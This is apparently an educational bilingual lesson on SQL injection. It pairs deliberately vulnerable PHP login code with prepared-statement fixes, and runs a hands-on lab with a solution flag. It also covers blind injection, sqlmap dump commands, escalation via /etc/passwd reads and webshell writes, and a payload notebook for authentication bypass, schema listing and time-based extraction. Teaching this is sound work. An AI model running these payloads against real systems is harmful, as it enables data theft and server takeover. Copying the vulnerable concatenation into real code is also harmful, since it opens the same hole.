Le code qui a trahi (vu de l'intérieur)
En leçon 1, un inconnu se connectait en admin sans mot de passe en tapant ' OR '1'='1' --. En leçon 2, vous avez cartographié vos actifs et défini votre surface d'attaque. L'injection SQL est le premier vecteur concret de cette surface : un seul champ mal écrit, et c'est toute la base qui est exposée. Ouvrons enfin le capot. Voici le code fautif, écrit par un développeur pressé :
// VULNÉRABLE : on colle la saisie directement dans la requête
$email = $_POST['email'];
$pass = $_POST['password'];
$sql = "SELECT * FROM users WHERE email = '$email' AND password = '$pass'";
$user = $db->query($sql)->fetch();
Tant que l'utilisateur saisit un vrai email, tout va bien. Mais le jour où il met dans ce champ ' OR '1'='1' --, la requête envoyée à la base devient :
SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = '...'
Décortiquons : le ' ferme la chaîne email. OR '1'='1' ajoute une condition toujours vraie. Et -- transforme tout le reste de la ligne (la vérification du mot de passe !) en commentaire ignoré. Résultat : la requête renvoie le premier utilisateur de la table, souvent l'admin. Connecté sans mot de passe.
Et ce n'est que l'entrée de gamme. Avec UNION SELECT, un attaquant lit d'autres tables ; avec ; DROP TABLE users; --, il les supprime. L'injection SQL squatte le Top 10 de l'OWASP depuis vingt ans (longtemps n°1, classée A05 dans l'édition 2025), et reste l'une des fuites de données les plus courantes.
Pourquoi ça marche : code et données mélangés
La racine du problème tient en une phrase : vous avez laissé l'utilisateur écrire une partie de votre requête. En collant $email dans la chaîne SQL, vous fabriquez un seul texte où se mélangent vos instructions (SELECT, WHERE…) et les données de l'utilisateur. La base de données reçoit ce texte unique et n'a aucun moyen de savoir où s'arrêtent vos ordres et où commencent les données. Pour elle, tout est instruction.
C'est exactement le mindset de la leçon 1 : la saisie est hostile, et ici on lui a donné les clés du moteur SQL. La parade ne sera donc pas de « nettoyer » la saisie au cas par cas, mais de ne jamais mélanger les deux.
Le faux remède : beaucoup pensent régler ça en « échappant » les apostrophes (addslashes(), doubler les ') ou en bloquant des mots-clés (DROP, UNION). C'est fragile et contournable : selon l'encodage de caractères, l'échappement saute ; une blacklist oublie toujours un cas ; et vous finirez par oublier d'échapper une variable sur deux. L'échappement manuel n'est pas la solution.
Le correctif : la requête préparée
La vraie parade s'appelle la requête préparée (aussi dite requête paramétrée, ou prepared statement en anglais : c'est le même mécanisme). L'idée est limpide : on envoie d'abord à la base le squelette de la requête, avec des trous (? ou :nom) à la place des données. Puis on envoie les données séparément. La base sait alors que ces valeurs sont des données, jamais du code, quoi qu'elles contiennent.
En PHP avec PDO :
// SÛR : le squelette et les données voyagent séparément
$stmt = $db->prepare('SELECT * FROM users WHERE email = ? AND password = ?');
$stmt->execute([$_POST['email'], $_POST['password']]);
$user = $stmt->fetch();
Maintenant, si l'utilisateur tape ' OR '1'='1' --, cette chaîne est cherchée telle quelle comme email. Aucun email ne vaut ça : la requête ne renvoie rien. L'attaque est désamorcée, sans qu'on ait eu à « nettoyer » quoi que ce soit.
Le même principe en Go, avec la bibliothèque standard database/sql :
// SÛR : les ? sont des placeholders, les valeurs passent à part
row := db.QueryRow(
"SELECT id, password FROM users WHERE email = ?",
email,
)
Règle d'or : toute valeur venant de l'extérieur passe par un placeholder. Jamais de concaténation de saisie dans une requête, jamais. C'est l'unique défense fiable contre l'injection SQL, et c'est aussi plus lisible. En défense en profondeur (leçon 2), on ajoute un compte base à privilèges minimaux (sans droit FILE) pour casser l'escalade, des erreurs génériques en prod, et du rate limiting + monitoring pour repérer un sqlmap. Référence : OWASP SQL Injection Prevention Cheat Sheet.
À savoir : on ne peut paramétrer que des valeurs, pas des noms de tables ou de colonnes (ni un ORDER BY dynamique). Si l'utilisateur choisit la colonne de tri, ne la concaténez pas : comparez-la à une liste blanche de noms autorisés (['nom', 'date', 'prix']) et utilisez seulement une valeur de cette liste.
À vous d'attaquer : volez le mot de passe de l'admin
Assez de théorie, passez de l'autre côté. Vous êtes l'attaquant sur une boutique en ligne, et vous n'avez qu'un seul point d'entrée : le champ de recherche de produits. Pourtant, quelque part dans la base, dort une table users avec les comptes du site, que vous n'êtes pas censé pouvoir lire. Votre mission : prouver le contraire et ressortir avec le mot de passe de l'admin.
Le champ ci-dessous est vraiment branché sur une base SQLite cachée (chargée dans votre navigateur), avec une table products(name, price). Il est vulnérable : ce que vous tapez est collé tel quel dans SELECT name, price FROM products WHERE name = '…'. Quelque part dort aussi une table users(email, password) que vous ne voyez pas. À vous de la faire parler. Indices : 1) fermez la quote avec ' · 2) UNION SELECT doit renvoyer 2 colonnes · 3) commentez la fin avec --.
Requête réellement exécutée par le serveur :
Bloqué ? Voir la solution
Dans le champ de recherche, vous tapez : ' UNION SELECT email, password FROM users --
Le serveur le colle entre ses quotes, et la requête réellement exécutée devient : SELECT name, price FROM products WHERE name = '' UNION SELECT email, password FROM users --'
Le ' referme la recherche (qui ne renvoie aucun produit), le UNION SELECT colle par-dessus deux colonnes venues de users, et le -- neutralise la quote restante. La base affiche alors fièrement admin@site.com | FLAG-c4fe-91d2. Vous venez de lire une table que le champ de recherche n'aurait jamais dû exposer : c'est ça, une injection SQL, transformer une fonction anodine en fuite de données.
Et le revers, en une ligne : avec une requête préparée, votre ' UNION SELECT … serait cherché tel quel, comme un nom de produit. Aucun produit ne s'appelle comme ça : zéro résultat, le secret reste secret. Tout se joue là.
En vrai, est-ce si facile ? Pas tant que ça, et c'est une excellente question à se poser :
- Un vrai formulaire affiche des produits (nom, prix), pas un dump de la base. Le UNION ne vous rend donc pas un tableau étiqueté : les données volées reviennent déguisées en produit (l'email s'affiche à la place du nom, le mot de passe à la place du prix). Il faut deviner le nombre et l'ordre des colonnes affichées (souvent via
ORDER BYou desUNION SELECT NULL, NULL…successifs). - L'empilement (
; SELECT …) est souvent bloqué : beaucoup de pilotes (PDO/MySQL, mysqli) n'exécutent qu'une requête par appel et n'affichent que le premier résultat. D'où l'intérêt du UNION, qui revient dans la liste affichée. - Si rien ne s'affiche, on passe au blind SQLi : extraire les données caractère par caractère via des réponses vrai/faux ou des temps de réponse. Fastidieux à la main, mais des outils comme sqlmap automatisent toute cette reconnaissance.
Bref : plus laborieux qu'un dump direct, mais tout à fait exploitable. (La parade est la même quel que soit le scénario, on l'a vue en section 3 : la requête préparée.)
Quand la base reste muette : le blind SQLi
Parfois, le site n'affiche rien d'exploitable : pas de résultat lisible, pas de message d'erreur, la page reste identique quoi que vous injectiez. Coincé ? Pas du tout. Bienvenue dans le blind SQLi (injection « à l'aveugle »), le pain quotidien du pentester : extraire des données sans jamais les voir.
L'idée tient en une image. Même si vous ne pouvez plus lire la base, vous pouvez encore lui poser des questions à réponse oui/non et guetter un signal. C'est le jeu du « Qui est-ce ? » : « le premier caractère du mot de passe est-il avant la lettre M ? » Oui ? Non ? À force de questions, vous reconstituez la réponse, lettre par lettre. La base devient une machine à oui/non.
1. Le blind booléen. Vous injectez une condition dans la requête. Si elle est vraie, la page réagit d'une façon (un produit s'affiche) ; si elle est fausse, d'une autre (liste vide). La page elle-même devient votre détecteur. Exemple, pour deviner le 1er caractère du mot de passe admin :
Souris' OR SUBSTR((SELECT password FROM users LIMIT 1),1,1) = 'F' --
Si la liste de produits revient, c'est que la condition est vraie : le caractère est bien « F ». Sinon, on essaie autre chose. Et pour aller vite, on ne teste pas les 80 caractères un par un : on coupe en deux (« est-il avant « M » ? »), une recherche dichotomique qui trouve chaque caractère en ~5 questions.
2. Le blind temporel. Et si la page est rigoureusement identique, que la condition soit vraie ou fausse ? Il reste un signal que l'appli ne peut pas masquer : le temps de réponse. On injecte « si la condition est vraie, attends 3 secondes » :
Souris' OR IF( SUBSTR((SELECT password FROM users),1,1)='F', SLEEP(3), 0) --
Si la réponse met 3 secondes de plus à arriver, la condition était vraie. (La fonction de pause dépend du moteur : SLEEP() sur MySQL, pg_sleep() sur PostgreSQL.) C'est lent, mais imparable, même face à une appli totalement muette.
Le réflexe du pentester : vous avez transformé la base en machine à oui/non. Personne ne joue ça à la main, ça demande des centaines, parfois des milliers de requêtes : on automatise (voir sqlmap dans l'arsenal, section suivante). Connaître le concept sert à trois choses : repérer le blind dans un rapport d'audit, comprendre qu'une appli « silencieuse » reste exploitable, et savoir que la défense, elle, ne bouge pas (requête préparée, toujours).
La méthode complète et l'arsenal du pentester
Vous avez vu la défense. Maintenant, chaussons les bottes de l'attaquant pour comprendre exactement ce qu'on cherche à bloquer.
Vous avez contourné un login, extrait une table, compris le blind. Reculons d'un cran pour voir le workflow professionnel de bout en bout, celui d'un vrai test d'intrusion, et les outils qui vont avec.
1. Reconnaissance : trouver et confirmer la faille. Avant d'exploiter, on cherche le point d'injection. Le test universel : glisser un ' dans chaque champ ou paramètre d'URL. Une erreur SQL, une page cassée, un comportement bizarre = signal. Pour confirmer sans rien casser, on compare deux requêtes : ... AND 1=1 (vrai, page normale) contre ... AND 1=2 (faux, page vide). Si la page réagit différemment, l'injection est confirmée.
2. Fingerprint : quel moteur ? Avant d'aller plus loin dans l'exploitation, l'attaquant doit savoir à quel moteur il parle : chaque base a sa propre grammaire, et le choix des fonctions, des commentaires et des techniques dépend entièrement de cette réponse. Les dialectes diffèrent et dictent toute la suite : commentaires (-- , # sur MySQL, /* */), concaténation (|| sur PostgreSQL/SQLite/Oracle, CONCAT() sur MySQL, + sur SQL Server), version (@@version MySQL, version() PostgreSQL, sqlite_version()). On identifie le SGBD pour choisir les bonnes fonctions (pause, lecture de fichiers…).
3. Cartographier la base : le chaînon manquant. « Mais comment savaient-ils que la table s'appelait users ? » Ils l'ont demandé à la base. Chaque moteur expose son catalogue : information_schema.tables et information_schema.columns (MySQL, PostgreSQL), ou sqlite_master (SQLite).
À tester dans le labo plus haut : tapez ' UNION SELECT name, sql FROM sqlite_master --. La boutique liste alors ses propres tables et leur définition… dont users (id, email, password). C'est exactement comme ça qu'on découvre la cible, avant de l'extraire avec le UNION ciblé. Faites les deux à la suite : d'abord on cartographie, ensuite on vole.
4. Error-based : quand l'erreur parle trop. Si l'appli affiche les erreurs SQL, on force la base à glisser une donnée dans le message d'erreur (fonctions extractvalue() / updatexml() sur MySQL). D'où la règle : jamais d'erreur SQL brute en production (leçon 14).
5. Escalade : du vol de données à la prise du serveur. Le grand malentendu : croire qu'une injection SQL « ne fait que lire des données ». Selon le moteur et les droits du compte, elle peut aussi :
- lire des fichiers du serveur (
LOAD_FILE('/etc/passwd')sur MySQL) ; - écrire un fichier, typiquement un webshell dans le dossier web (
… INTO OUTFILE '/var/www/html/x.php'), puis exécuter des commandes via ce shell ; - exécuter directement des commandes système :
xp_cmdshellsur SQL Server,COPY … FROM PROGRAMsur PostgreSQL.
Ces vecteurs sont souvent désactivés par défaut (privilège FILE et secure_file_priv sur MySQL, xp_cmdshell coupé depuis SQL Server 2005, rôle dédié sur PostgreSQL), d'où l'importance des privilèges minimaux. Mais quand ils sont ouverts, c'est game over : une SQLi est alors classée critique, car elle finit en prise de contrôle complète du serveur, pas juste en fuite de données.
Le piège du second ordre. Variante vicieuse : la saisie est stockée proprement (requête préparée à l'insertion), puis réutilisée plus tard dans une requête concaténée ailleurs, un batch, une page admin, un export. Le payload dort en base, inerte, jusqu'à ce qu'un code négligent le recolle dans du SQL. Morale : préparer à l'entrée ne suffit pas, chaque requête qui touche la donnée doit être paramétrée, même quand la donnée vient « de votre propre base ».
6. L'arsenal.
- Burp Suite : le couteau suisse du pentest web. Un proxy qui intercepte chaque requête entre le navigateur et le serveur ; le Repeater rejoue et bricole une requête à la main (idéal pour tester un payload pas à pas) ; l'Intruder automatise le fuzzing (des centaines de variantes envoyées d'un coup).
- sqlmap : l'automate spécialisé. Une fois le point trouvé :
sqlmap -u "https://site/recherche?q=1" --dbsliste les bases,--tables -D boutiqueles tables,--dump -T usersvide la table. Il gère seul le fingerprint, le blind booléen/temporel, l'error-based, et même l'écriture de fichiers.
Toute cette chaîne, du recon à l'escalade, s'effondre avec le réflexe de la section 3 : la requête préparée, doublée de la défense en profondeur (privilèges minimaux, erreurs génériques, monitoring). C'est le même verrou qui ferme tous les chemins vus ici.
Le carnet de payloads : tester ses champs
Un pentester ne tape pas au hasard : il a un carnet de payloads, des chaînes types à coller dans chaque champ pour révéler une injection. Les voici, les plus connus, regroupés par intention. Le même carnet vous sert à auditer vos propres formulaires : collez, observez la réaction (erreur, page différente, délai), recommencez sur chaque champ et chaque paramètre d'URL.
Détection (le premier réflexe). On casse la requête pour voir si la saisie atteint le moteur :
'
"
' OR '1'='1
1 OR 1=1
' AND '1'='2
Bypass d'authentification. On rend la condition toujours vraie et on commente la suite :
' OR '1'='1' --
' OR 1=1 --
admin' --
admin' #
') OR ('1'='1
Compter les colonnes (avant un UNION). On incrémente jusqu'à l'erreur :
' ORDER BY 1 --
' ORDER BY 2 --
' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
Lister le schéma. Selon le moteur :
' UNION SELECT table_name, NULL FROM information_schema.tables -- -- MySQL / PostgreSQL
' UNION SELECT name, sql FROM sqlite_master -- -- SQLite
Blind booléen. Comparer le comportement vrai/faux, puis deviner caractère par caractère :
' AND 1=1 --
' AND 1=2 --
' AND SUBSTR((SELECT password FROM users LIMIT 1),1,1) = 'a' --
Blind temporel (la fonction de pause dépend du moteur) :
' AND SLEEP(5) -- -- MySQL
' AND pg_sleep(5) -- -- PostgreSQL
'; WAITFOR DELAY '0:0:5' -- -- SQL Server
Les listes et outils tout prêts. Personne ne retape ces payloads à la main : on charge des wordlists et on fuzze.
- PayloadsAllTheThings : LA référence communautaire, une section entière par type d'attaque, SQLi comprise.
- SecLists : les wordlists du métier, dont
Fuzzing/SQLi/. - FuzzDB : base de payloads d'attaque organisée par catégorie.
- Burp Suite → Intruder : on marque le champ à tester, on charge une de ces listes, et Burp envoie automatiquement chaque payload en comparant les réponses (taille, code, délai).
- sqlmap : embarque ses propres payloads et des tamper scripts pour contourner les filtres. ffuf / wfuzz font le fuzzing par wordlist en ligne de commande.
Le contresens. Cette liste sert à tester (vos apps, ou une cible autorisée), pas à défendre. Bloquer ces chaînes (blacklist, règle WAF) est exactement le faux remède de la section 2 : toujours contournable (encodage, casse, commentaires). La vraie protection reste la requête préparée. Le carnet, c'est l'outil d'audit ; le correctif est ailleurs. Et rappel : on ne teste que ses propres systèmes ou des plateformes autorisées (leçon 1).
The code that betrayed you (from the inside)
In lesson 1, a stranger logged in as admin with no password by typing ' OR '1'='1' --. In lesson 2, you mapped your assets and defined your attack surface. SQL injection is that surface's first concrete vector: one poorly written field, and the entire database is exposed. Let's finally open the hood. Here's the faulty code, written by a developer in a hurry:
// VULNERABLE: the input is pasted straight into the query
$email = $_POST['email'];
$pass = $_POST['password'];
$sql = "SELECT * FROM users WHERE email = '$email' AND password = '$pass'";
$user = $db->query($sql)->fetch();
As long as the user enters a real email, all is fine. But the day they put ' OR '1'='1' -- in that field, the query sent to the database becomes:
SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password = '...'
Let's break it down: the ' closes the email string. OR '1'='1' adds an always-true condition. And -- turns the rest of the line (the password check!) into an ignored comment. Result: the query returns the first user in the table, often the admin. Logged in with no password.
And that's just the entry level. With UNION SELECT, an attacker reads other tables; with ; DROP TABLE users; --, they delete them. SQL injection has sat in the OWASP Top 10 for twenty years (long ranked #1, now A05 in the 2025 edition), and remains one of the most common data breaches.
Why it works: code and data mixed together
The root of the problem fits in one sentence: you let the user write part of your query. By pasting $email into the SQL string, you build a single piece of text where your instructions (SELECT, WHERE…) and the user's data are blended. The database receives that single text and has no way to know where your orders end and the data begins. To it, everything is an instruction.
This is exactly the lesson 1 mindset: input is hostile, and here you handed it the keys to the SQL engine. So the fix won't be to "clean" the input case by case, but to never mix the two.
Beware the false cure: many think they fix this by "escaping" quotes (addslashes(), doubling the ') or by blocking keywords (DROP, UNION). It's fragile and bypassable: depending on the character encoding, escaping breaks; a blacklist always misses a case; and you'll end up forgetting to escape every other variable. Manual escaping is not the solution.
The fix: the parameterized query
The real fix is called the parameterized query (or prepared statement). The idea is clear: you first send the database the skeleton of the query, with holes (? or :name) where the data goes. Then you send the data separately. The database then knows those values are data, never code, whatever they contain.
In PHP with PDO:
// SAFE: the skeleton and the data travel separately
$stmt = $db->prepare('SELECT * FROM users WHERE email = ? AND password = ?');
$stmt->execute([$_POST['email'], $_POST['password']]);
$user = $stmt->fetch();
Now, if the user types ' OR '1'='1' --, that string is searched as is as an email. No email equals that: the query returns nothing. The attack is defused, without having "cleaned" anything.
The same principle in Go, with the standard database/sql library:
// SAFE: the ? are placeholders, the values are passed separately
row := db.QueryRow(
"SELECT id, password FROM users WHERE email = ?",
email,
)
Golden rule: every value coming from the outside goes through a placeholder. Never concatenate input into a query, ever. It's the only reliable defense against SQL injection, and it's more readable too. As defense in depth (lesson 2), add a least-privilege database account (no FILE right) to break escalation, generic errors in production, and rate limiting + monitoring to catch a sqlmap. Reference: OWASP SQL Injection Prevention Cheat Sheet.
Good to know: you can only parameterize values, not table or column names (nor a dynamic ORDER BY). If the user picks the sort column, don't concatenate it: compare it against an allowlist of permitted names (['name', 'date', 'price']) and use only a value from that list.
Your turn to attack: steal the admin password
Enough theory, switch sides. You're the attacker on an online shop, and you have just one way in: the product search field. Yet somewhere in the database sleeps a users table with the site's accounts, which you're not supposed to be able to read. Your mission: prove otherwise and walk out with the admin's password.
The field below is really wired to a hidden SQLite database (loaded in your browser), with a products(name, price) table. It's vulnerable: whatever you type is pasted as-is into SELECT name, price FROM products WHERE name = '…'. Somewhere there's also a users(email, password) table you can't see. Make it talk. Hints: 1) close the quote with ' · 2) UNION SELECT must return 2 columns · 3) comment out the end with --.
Query actually executed by the server:
Stuck? Show the solution
In the search field, you type: ' UNION SELECT email, password FROM users --
The server pastes it between its quotes, and the query actually executed becomes: SELECT name, price FROM products WHERE name = '' UNION SELECT email, password FROM users --'
The ' closes the search (which returns no product), UNION SELECT tacks on two columns from users, and -- neutralizes the leftover quote. The database then proudly shows admin@site.com | FLAG-c4fe-91d2. You just read a table the search field should never have exposed: that's SQL injection, turning a harmless feature into a data leak.
And the flip side, in one line: with a parameterized query, your ' UNION SELECT … would be searched as-is, as a product name. No product is named that: zero results, the secret stays secret. That's where it all plays out.
Is it really that easy in the real world? Not quite, and it's a great question to ask:
- A real form displays products (name, price), not a database dump. So a UNION doesn't hand you a labeled table: the stolen data comes back disguised as a product (the email shows where the name goes, the password where the price goes). You have to guess the number and order of displayed columns (often via
ORDER BYor successiveUNION SELECT NULL, NULL…). - Stacked queries (
; SELECT …) are often blocked: many drivers (PDO/MySQL, mysqli) run only one statement per call and display only the first result. Hence the UNION, which comes back inside the displayed list. - If nothing is displayed, you move to blind SQLi: extracting data character by character via true/false answers or response times. Tedious by hand, but tools like sqlmap automate all that reconnaissance.
In short: more laborious than a direct dump, but very much exploitable. (The fix is the same in every scenario, seen in section 3: the parameterized query.)
When the database stays silent: blind SQLi
Sometimes the site shows nothing useful: no readable result, no error message, the page looks identical whatever you inject. Stuck? Not at all. Welcome to blind SQLi, the pentester's bread and butter: extracting data without ever seeing it.
The idea fits in one image. Even if you can no longer read the database, you can still ask it yes/no questions and watch for a signal. It's the game of "Guess Who?": "is the first character of the password before the letter M?" Yes? No? With enough questions, you rebuild the answer, letter by letter. The database becomes a yes/no machine.
1. Boolean-based blind. You inject a condition into the query. If it's true, the page reacts one way (a product shows up); if it's false, another way (empty list). The page itself becomes your detector. Example, to guess the first character of the admin password:
Mouse' OR SUBSTR((SELECT password FROM users LIMIT 1),1,1) = 'F' --
If the product list comes back, the condition is true: the character really is "F". Otherwise, try something else. And to go fast, you don't test all 80 characters one by one: you split in half ("is it before "M"?"), a binary search that finds each character in ~5 questions.
2. Time-based blind. What if the page is strictly identical whether the condition is true or false? There's one signal the app can't hide: the response time. You inject "if the condition is true, wait 3 seconds":
Mouse' OR IF( SUBSTR((SELECT password FROM users),1,1)='F', SLEEP(3), 0) --
If the response takes 3 seconds longer to arrive, the condition was true. (The pause function depends on the engine: SLEEP() on MySQL, pg_sleep() on PostgreSQL.) It's slow, but unstoppable, even against a totally silent app.
The pentester's reflex: you've turned the database into a yes/no machine. Nobody plays this by hand, it takes hundreds, sometimes thousands of requests: you automate it (see sqlmap in the arsenal, next section). Knowing the concept is good for three things: spotting blind SQLi in an audit report, understanding that a "silent" app is still exploitable, and knowing that the defense doesn't move (parameterized query, always).
The full method and the pentester's arsenal
You've seen the defense. Now let's put on the attacker's hat to understand exactly what we're trying to block.
You've bypassed a login, extracted a table, understood blind SQLi. Let's step back and look at the professional workflow end to end, the one used in a real penetration test, and the tools that go with it.
1. Reconnaissance — find and confirm the flaw. Before exploiting, you look for the injection point. The universal test: drop a ' into every field or URL parameter. A SQL error, a broken page, odd behavior = a signal. To confirm without breaking anything, compare two requests: ... AND 1=1 (true, normal page) against ... AND 1=2 (false, empty page). If the page reacts differently, injection is confirmed.
2. Fingerprint — which engine? Before going any further, the attacker needs to know which engine they're talking to: every database has its own grammar, and the choice of functions, comments, and techniques depends entirely on that answer. Dialects differ and dictate everything next: comments (-- , # on MySQL, /* */), concatenation (|| on PostgreSQL/SQLite/Oracle, CONCAT() on MySQL, + on SQL Server), version (@@version MySQL, version() PostgreSQL, sqlite_version()). You identify the DBMS to pick the right functions (sleep, file reads…).
3. Map the database — the missing link. "But how did they know the table was called users?" They asked the database. Every engine exposes its catalog: information_schema.tables and information_schema.columns (MySQL, PostgreSQL), or sqlite_master (SQLite).
Try it in the lab above: type ' UNION SELECT name, sql FROM sqlite_master --. The shop then lists its own tables and their definitions… including users (id, email, password). That's exactly how you discover the target before extracting it with the targeted UNION. Do both in a row: first map, then steal.
4. Error-based — when the error talks too much. If the app displays SQL errors, you force the database to slip data into the error message (functions extractvalue() / updatexml() on MySQL). Hence the rule: never show raw SQL errors in production (lesson 14).
5. Escalation — from data theft to server takeover. The big misconception: thinking SQL injection "only reads data". Depending on the engine and the account's privileges, it can also:
- read files on the server (
LOAD_FILE('/etc/passwd')on MySQL); - write a file, typically a webshell in the web folder (
… INTO OUTFILE '/var/www/html/x.php'), then run commands through that shell; - run system commands directly:
xp_cmdshellon SQL Server,COPY … FROM PROGRAMon PostgreSQL.
These vectors are often disabled by default (the FILE privilege and secure_file_priv on MySQL, xp_cmdshell off since SQL Server 2005, a dedicated role on PostgreSQL), which is exactly why least privilege matters. But when they're open, it's game over: a SQLi is then rated critical, because it ends in a full server takeover, not just a data leak.
The second-order trap. A nastier variant: the input is stored cleanly (parameterized insert), then reused later in a concatenated query elsewhere, a batch job, an admin page, an export. The payload sleeps in the database, inert, until some careless code pastes it back into SQL. Lesson: parameterizing on input isn't enough, every query touching the data must be parameterized, even when the data comes "from your own database".
6. The arsenal.
- Burp Suite: the Swiss army knife of web pentesting. A proxy that intercepts every request between the browser and the server; the Repeater replays and tweaks a request by hand (perfect to test a payload step by step); the Intruder automates fuzzing (hundreds of variants at once).
- sqlmap: the specialized automaton. Once the point is found:
sqlmap -u "https://site/search?q=1" --dbslists the databases,--tables -D shopthe tables,--dump -T usersdumps the table. It handles fingerprinting, boolean/time-based blind, error-based, even file writing, on its own.
This whole chain, from recon to escalation, collapses with the section 3 reflex: the parameterized query, backed by defense in depth (least privilege, generic errors, monitoring). The same lock closes every path seen here.
The payload notebook: testing your fields
A pentester doesn't type at random: they keep a payload notebook, standard strings to drop into every field to reveal an injection. Here are the best-known ones, grouped by intent. The same notebook lets you audit your own forms: paste, watch the reaction (error, different page, delay), repeat on every field and URL parameter.
Detection (the first reflex). Break the query to see if the input reaches the engine:
'
"
' OR '1'='1
1 OR 1=1
' AND '1'='2
Authentication bypass. Make the condition always true and comment out the rest:
' OR '1'='1' --
' OR 1=1 --
admin' --
admin' #
') OR ('1'='1
Count the columns (before a UNION). Increment until it errors:
' ORDER BY 1 --
' ORDER BY 2 --
' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
List the schema. Depending on the engine:
' UNION SELECT table_name, NULL FROM information_schema.tables -- -- MySQL / PostgreSQL
' UNION SELECT name, sql FROM sqlite_master -- -- SQLite
Boolean blind. Compare true/false behavior, then guess character by character:
' AND 1=1 --
' AND 1=2 --
' AND SUBSTR((SELECT password FROM users LIMIT 1),1,1) = 'a' --
Time-based blind (the pause function depends on the engine):
' AND SLEEP(5) -- -- MySQL
' AND pg_sleep(5) -- -- PostgreSQL
'; WAITFOR DELAY '0:0:5' -- -- SQL Server
The ready-made lists and tools. Nobody retypes these by hand: you load wordlists and fuzz.
- PayloadsAllTheThings: THE community reference, a whole section per attack type, SQLi included.
- SecLists: the field's wordlists, including
Fuzzing/SQLi/. - FuzzDB: a database of attack payloads organized by category.
- Burp Suite → Intruder: mark the field to test, load one of these lists, and Burp fires each payload automatically, comparing responses (size, status, delay).
- sqlmap: ships its own payloads and tamper scripts to bypass filters. ffuf / wfuzz do wordlist fuzzing from the command line.
Beware the misreading. This list is for testing (your apps, or an authorized target), not for defending. Blocking these strings (blacklist, WAF rule) is exactly the false cure from section 2: always bypassable (encoding, case, comments). The real protection stays the parameterized query. The notebook is the audit tool; the fix is elsewhere. And a reminder: only test your own systems or authorized platforms (lesson 1).
La requête est "SELECT * FROM produits WHERE nom = '$recherche'". Un attaquant tape dans le champ recherche : '; DROP TABLE produits; --. Avant de dérouler : à votre avis, que reçoit la base, et que se passe-t-il ?
Voir la réponse
La base reçoit en réalité deux instructions collées : SELECT * FROM produits WHERE nom = ''; puis DROP TABLE produits; (le -- commente le reste). Si le pilote autorise les requêtes multiples, la table produits est supprimée. Le ' a refermé la chaîne, et tout ce que l'attaquant a écrit ensuite a été exécuté comme du SQL : c'est exactement le mélange code + données. Avec une requête préparée, '; DROP TABLE produits; -- serait cherché comme un nom de produit littéral. Aucun produit ne s'appelle comme ça : zéro résultat, zéro dégât.
The query is "SELECT * FROM products WHERE name = '$search'". An attacker types in the search field: '; DROP TABLE products; --. Before you expand: what does the database receive, and what happens?
Show the answer
The database actually receives two instructions glued together: SELECT * FROM products WHERE name = ''; then DROP TABLE products; (the -- comments out the rest). If the driver allows multiple statements, the products table is deleted. The ' closed the string, and everything the attacker wrote next ran as SQL: that's exactly the code + data mix. With a parameterized query, '; DROP TABLE products; -- would be searched as a literal product name. No product is named that: zero results, zero damage.
🎯 Pratique
S'entraîner (clique pour ouvrir) :
💬 Ré-explique sans regarder
Avec tes mots : pourquoi une requête préparée arrête l'injection SQL alors que coller la saisie dans la requête l'autorise ? Parle du « squelette » et des « données ».
?) puis les données à part : la base traite ces valeurs comme des données pures, jamais comme du SQL. Du coup ' OR '1'='1 est juste cherché comme une valeur littérale et ne casse rien.🧠 Rappel libre
Sans remonter : quel est l'unique correctif fiable contre l'injection SQL, et pourquoi « échapper les apostrophes » n'en est pas un ?
⚖️ Juge le code de l'IA
. Les apostrophes sont neutralisées, c'est safe. » Tu acceptes, ou tu rejettes ?" data-i18n-html-en="You ask the AI to secure your login query. It replies: "I secured it by escaping the input: $email = addslashes($_POST['email']); then $sql = \"SELECT * FROM users WHERE email = '$email'\";. The quotes are neutralized, it's safe." Accept or reject?">Tu demandes à l'IA de sécuriser ta requête de connexion. Elle répond : « J'ai sécurisé en échappant la saisie : $email = addslashes($_POST['email']); puis $sql = "SELECT * FROM users WHERE email = '$email'";. Les apostrophes sont neutralisées, c'est safe. » Tu acceptes, ou tu rejettes ?
addslashes se contourne ; ça ne protège pas un contexte numérique comme WHERE id = $id sans guillemets) et ça reste du code mélangé aux données. Le bon réflexe : une requête préparée (prepare + ? + execute([...])), où l'on ne touche plus jamais à la saisie.You can stop the attacker from writing into your database. But what happens when their input is displayed as-is in another visitor's page? Lesson 4 tackles XSS: injecting JavaScript into the victim, with a challenge where you'll trigger the exploit yourself, in a sandbox.
Lesson 4: Cross-site scripting (XSS) →